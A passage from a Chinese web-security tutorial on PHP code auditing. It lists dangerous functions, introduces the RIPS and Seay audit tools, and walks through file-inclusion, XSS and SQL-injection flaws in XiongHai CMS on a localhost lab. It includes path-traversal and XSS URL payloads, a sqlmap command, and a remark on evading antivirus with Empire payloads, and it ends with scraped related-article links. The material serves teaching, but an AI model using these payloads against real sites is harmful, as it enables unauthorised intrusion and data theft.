在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回Metasploit。

第七章

7.1代码审计

7.1.1代码审计概念

代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

7.1.2代码审计基础

代码审计两种基本方式:

通读全文源码:通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。

功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。

代码审计两种基本方法:

正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> 最后审计代码逻辑缺陷 -> 尝试构造payload

逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload

7.1.3代码审计思路

我们从三个层次开始我们的源码审计思路

1.确定要审计的源码是什么语言

2.确定该源码是单入口还是多入口

3.确定该语言的各种漏洞诞生的函数

7.1.4代码审计环境

PHP源码部署环境:Phpstudy

集成开发环境:Zend Studio/Phpstorm

数据库管理工具:Navicat for MySQL

MySQL实时监控工具:MySQLMonitor

文本编辑工具:Sublime_Text3

代码审计辅助工具:Seay源代码审计系统、Rips

代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap

7.2危险函数及关键字

通常做代码审计都是检查敏感函数的参数,然后回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。

7.2.1 SQL注入

select

update

insert into

delete

注:此处非函数,主要找常用的SQL语句

7.2.2本地文件包含

include() 向上包含,向下包含,如果包含出错继续向下执行

include_once() 同上,只进行包含一次

require() 向上包含,向下包含,如果包含出错不下向下执行

require_once() 同上,只进行包含一次

7.2.3命令执行

system()

exec()

passthru()

shell_exec()

7.2.4 XSS跨站脚本攻击

print

print_r     die

echo      var_dump

printf      var_export

7.2.5文件上传漏洞

move_uploaded_file()

7.3代码审计工具

使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。

我们这里介绍两款PHP代码审计工具

7.3.1 RIPS

RIPS是一个用 PHP 编写的源代码分析工具,它使用了静态分析技术,能够自动化地挖掘 PHP 源代码潜在的安全漏洞。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。由于静态源代码分析的限制,漏洞是否真正存在,仍然需要代码审阅者确认。RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等。

subdirs:如果勾选上这个选项,会扫描所有子目录,否则只扫描一级目录,缺省为勾选。

verbosity level:选择扫描结果的详细程度,缺省为1(建议就使用1)。

vuln type:选择需要扫描的漏洞类型。支持命令注入、代码执行、SQL注入等十余种漏洞类型,缺省为全部扫描。

code style:选择扫描结果的显示风格(支持9种语法高亮)。

/regex/:使用正则表达式过滤结果。

path/file: 要扫描的目录。

scan: 开始扫描。

使用

在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:扫描结果如下:

我们可以看到RIPS的功能还是很强大的,将目录中所有的漏洞文件找出

对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况

左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案

右下角的红色按钮,可以根据漏洞生成漏洞利用代码

到这里我们可以看到该工具非常强大,可以帮助我们提高审计效率

7.3.2 Seay 源代码审计系统

Seay源代码审计系统是由国人开发的一款基于白盒测试的代码审计工具,具有自动代码审计功能。支持一件审计,代码调试,函数定位,自定义审计规则等强大功能。可以简化人工审计的繁琐流程,使代码审计更加智能简洁。

程序使用C# 编写,须要.NET2.0以上版本环境才能运行。

点击“新建项目”按钮新建一个审计项目。选择需要扫描的源码所在目录。

打开一个审计项目后,可以看到审计系统左侧列出了该项目的全部源代码文件,点击“自动审计”按钮进入审计操作

点击“自动审计”操作下的“开始”按钮,正式进入审计过程并等待审计扫描完成。

当Seay源代码审计系统底部提示“扫描完成”时,点击“生成报告”生成本次审计报告并保存报告生成的html文件。

通常我们可以直接在审计工具里双击漏洞所在的行,跳转到相应文件审计。

会高亮显示漏洞所在的行,后面就是需要人工来判断漏洞是否确实存在。

7.4测试环境搭建

为了复现我们审计出的漏洞,首先搭建熊海CMS站点测试环境。

此CMS运行需要的环境:php+mysql+apache,注意这里php版本需要5.x

这里使用phpstudy 2018来搭建,把压解的熊海CMS源码,复制到WWW目录下。

在切换版本里选择php-5.2.17+Apache

开启apache和mysql服务。

通过自带的MySQL管理器,这里使用MySQL-Front

登录进mysql,新建一个数据库xhcms

访问如下链接来安装,确认提交后可以看到安装成功

http://127.0.0.1/xhcms/install/

7.5 CMS代码审计实战分析

一般文件夹的英文名字就是这个文件夹实现的功能

admin         --管理后台文件夹

css           --存放css的文件夹

files         --存放页面的文件夹

images        --存放图片的文件夹

inc           --存放网站配置文件的文件夹

install       --网站进行安装的文件夹

seacmseditor  --编辑器文件夹

template      --模板文件夹

upload        --上传功能文件夹

index.php     --网站入口(首页)

入口文件:index.php、main.php文件一般是整个程序的入口,从中可以知道:程序的架构;运行流程;

配置文件:一般类似config.php等文件,保存一些数据库相关信息,程序的一些信息。

先看数据库编码,如果是GBK可能存在宽字节注入。

若变量的值用双引号,则可能存在双引号解析代码执行的问题。

此CMS的配置文件为:inc/conn.php

过滤功能:通过详细读公共函数文件和安全过滤文件等文件,清晰掌握:

用户输入的数据,哪些被过滤,哪些无过滤如何过滤。在哪里被过滤了。

如何过滤,过滤的方式是替换还是正则,能否绕过过滤的数据。

这里我们首先看下 入口文件、配置文件、过滤功能。此程序比较简单,没有安全过滤文件

7.5.1文件包含漏洞

首先就从网站入口index.php跟进,发现是一个单入口模式,在这里我们可以得知,它是先接收一个r参数然后用addslashes函数进行过滤。然后判断文件名,如果为空的话,则包含files/index.php,反之赋值就会把传递进来的文件名赋值给 $action进行拼接。这样的话,我们在这里就很清楚的知道,这里就是一个很经典的文件包含漏洞,r参数只是经过了addslashes函数进行过滤(几乎相当于没

过滤)后被incluede包含。但因为在包含时限定了.php后缀,本地包含时需要截断。利用起来存在一定限制。

"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口。

在分析PHP代码的时候,遇到不懂的函数要随手查PHP手册去了解相关用法和解释。

第三行 error_reporting(0);表示关闭所有PHP错误报告。

第四行 r参数通过GET请求经过 addslashes函数处理后再传递给$file变量。查阅PHP手册可以知道,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。通常这个函数用于防止SQl注入。

第五 六行通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给 $action,"."在PHP里是拼接的作用,因此就是把第四行传递的变量 $file(到这里是 $action,因为上一行 $file赋值给了 $action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的".php"这个后缀,最终载入拼接后的相应文件。

那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀。

介绍文件包含截断的2种方法

第一种是使用%00截断,但是php>5.3以后就不能使用了,开启了GPC的情况下也是不能使用的,因为此CMS这里用了addslashes函数同样不能使用。

第二种是点号截断

1.Windows下在文件名字后面加 “.” 不影响文件。2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable,这个在我们phpstudy2018搭建的环境里满足。

此CMS后台存在上传功能可以上传图片,通过上传写有php代码的图片文件,通过包含漏洞可以使我们的代码运行。

这里为了方便直接在此CMS根目录的upload\image\20150321目录,新建一个内容为<?php echo phpinfo();?> 的test.jpg文件,模拟上传的图片文件。

另外有一点,就是文件包含这里,不论你文件的后缀是什么,他包含的时候是只管你文件的内容的,因此你不论是弄成文本还是图片,只要里面内容是可以执行的PHP代码,就可以包含执行利用成功,因此这也是文件包含利用的一个要点

构造利用poc,利用“../”来跳出限制的“/files”目录,跳到CMS根目录,然后再拼接成../upload/image/20150321/test.jpg

通读全文法比较太费时费力,但是最全面。

最高效和最常用的方法还是敏感函数参数检查,这里我们通过前面介绍的审计工具来辅助我们审计工作。

当然审计工具存在着误报和漏报问题,这就需要我们需要不断积累审计知识,不只是依靠工具。

首先用RIPS我们来扫描下,然后对扫出的漏洞进行验证。

我们先验证前台漏洞,后台漏洞的话需要先得到后台权限才能利用。前台漏洞较后台漏洞利用面更广些。

扫出如下文件存在问题 File: /xhcms/files/contact.php

我们进行分析,先看跨站脚本问题

7.5.2 XSS漏洞

从上面代码里我们看到139行 echo $page 直接输出$page内容,如果$page内容可控,并且没有过滤的话,就存在漏洞

从扫描工具显示的结果中可以看到$page变量来自外界输入,只是用addslashes做了过滤(过滤不全)

前面介绍过,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。

构造利用POC,如下如果POC里存在双引号,代码不能执行,会被转义

http://127.0.0.1/xhcms/index.php?r=contact&page=<script>alert("test")</script>

把双引号修改成如下,代码可以成功执行

http://127.0.0.1/xhcms/index.php?r=contact&page=<script>alert(/test/)</script>

7.5.3 SQL注入漏洞

扫出如下文件存在问题 File: /xhcms/files/content.php

从上面代码可以看到,第20行$id并没有被单引号包裹

向上追溯看$id可以看到其值来自cid的赋值,cid是可控的,并且只是用了addslashes做过滤,单引号(‘)、双引号(“)、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。这里是整型注入, addslashes对利用没有影响。

构造利用POC

使用sqlmap利用获取当前数据库名

python sqlmap.py -u "http://127.0.0.1/xhcms/index.php?r=content&cid=1" -p cid  --current-db

业务逻辑漏洞-后台登录绕过

自动化代码安全审计往往无法查找业务相关的漏洞,比如支付漏洞、任意密码重置,优惠券叠加等。在了解代码和业务的基础上,来进行人工审计。

在进入到管理员首页时,首先会检测是否是登录的状态

web安全攻防渗透+赵雨佳43相关推荐

  1. 牛掰!阿里大佬用7部分讲明白Web安全攻防 渗透测试(学完可就业)

    首先来谈谈网络安全就业方面 由于我国网络安全起步晚,所以现在网络安全工程师十分紧缺.根据职友集的数据显示,当前市场上需求量较大的几类网络安全岗位,如安全运维.渗透测试.等保测评等,平均薪资水平都在10 ...

  2. web安全攻防渗透测试笔记

    第三章sqlmap (1)      安装sqlmap前,需要先安装Python3.X Python Releases for Windows | Python.org (2)      在环境变量p ...

  3. web安全攻防渗透测试笔记 (信安一班 李静)

    第三章sqlmap (1)      安装sqlmap前,需要先安装Python3.X Python Releases for Windows | Python.org (2)      在环境变量p ...

  4. Web安全攻防 渗透测试实战指南2

    1. 指纹识别 指纹由于其终身不变性.唯一性和方便性,几乎已成为生物特征识别的代名词.通常我们说的指纹就是人的手指末端正面皮肤上凹凸不平的纹线,纹线规律的排列形成不同的纹型.而本节所讲的指纹是指网站C ...

  5. 《Web安全攻防 渗透测试实战指南》学习笔记(2) - Sqlmap

    如有侵权,请联系删除 Linux下安装 sudo apt install sqlmap 基本使用 sqlmap -u "www.baidu.com" 注意给网址加上双引号(虽然只传 ...

  6. Web安全攻防 信息收集篇(仅供交流学习使用,请勿用于非法用途)

    Web安全攻防 准备篇 1. 信息收集 域名介绍: 域名(Domain Name),是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名 称,用于在数据传 输时标识计算机的电子方位 ...

  7. 全网优秀的攻防渗透工具总结

    全网优秀的攻防渗透工具总结 文章目录 全网优秀的攻防渗透工具总结 前言 半/全自动化利用工具 资产发现工具 子域名收集工具 目录扫描工具 指纹识别工具 端口扫描工具 信息泄露利用工具 漏洞扫描框架/工 ...

  8. MS08067 WEB高级攻防实战班第一期 开班啦~(附最新授课目录)

    文章来源|MS08067 WEB高级攻防实战班 6.25号我们开启了第一期"红队攻防培训班",8.5号开启了第一期"Java审计实战班",8.13号开启了第二期 ...

  9. 米斯特白帽子WEB安全攻防培训-信息收集

    1.信息收集 米斯特白帽子WEB安全攻防培训第二期-讲师:gh0stkey 0x00 信息收集什么? 咱们老是说信息收集,可是到底收集什么东西你知道? 在渗透测试中,信息收集一切都是从某个网址.IP地 ...

  10. 【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-终

    后续笔记仔细看了下,放出来铁过不了审核,等有时间一点点删了再放出来. [小迪安全]web安全|渗透测试|网络安全 | 学习笔记-8 已经被封了=.= 把目录写上,假装过审核了. 接下来是持续八天的-- ...

最新文章

  1. mysql册_Mysql手册
  2. Flutter环境搭建(Windows)
  3. postman设置测试环境
  4. JavaScript变量——栈内存or堆内存
  5. BERT论文阅读(二): CG-BERT:Conditional Text Generation with BERT for Generalized Few-shot Intent Detection
  6. mysql 10分钟_10分钟入门mysql(含常用的sql语句,mysql常见问题及解决方案)
  7. javaweb分页查询oracle,JavaWeb项目 利用Oracle数据库实现分页查看细讲
  8. 开源jshop小程序商城
  9. 从0到1搭建移动App功能自动化测试平台(2):操作iOS应用的控件
  10. Tomcat8.5.40启动后一直卡在日志At least one JAR was scanned for TLDs yet contained no TLDs
  11. atiitt it学科体系化 体系树与知识点概念大总结.xlsx
  12. 37、HTMLQQ彩贝高级搜索框页面制作,鼠标悬停出现下拉框
  13. 苹果画画软件_数位板可以连手机画画?有哪些好用的绘画APP?
  14. MAC修改hosts
  15. 00007__js自执行函数(function(){})()前加个分号是什么意思
  16. Presto error executing query
  17. 有关域名备案和网站备案的知识介绍
  18. L1-039古风排版
  19. 双机tcp同步_双机互联一般有以下几种方法
  20. 什么是数据工程师,主要做哪些工作?

热门文章

  1. 温习2021年 Java 面试题汇总【100题】
  2. mybatis-plus异常, org.apache.ibatis.builder.BuilderException: Error evaluating expression AND
  3. java代理模式教你中间商赚差价
  4. luogu P4315 月下“毛景树”
  5. word段落每行首字怎么对齐_怎样使word文章段落乖乖对齐!一个设置就行!
  6. iterable、iterator和iter()
  7. oracle通过正则验证香港、澳门、台湾的身份证和护照
  8. 520到了,教你做个JavaWeb表白墙小项目
  9. [2019 icpc徐州] H.Yuuki and a problem 带修改的主席树(主席树+树状数组)
  10. css3(属性选择器,结构伪类选择器,伪元素选择器 ,css3盒子模型,滤镜filter, cale, 过渡transition))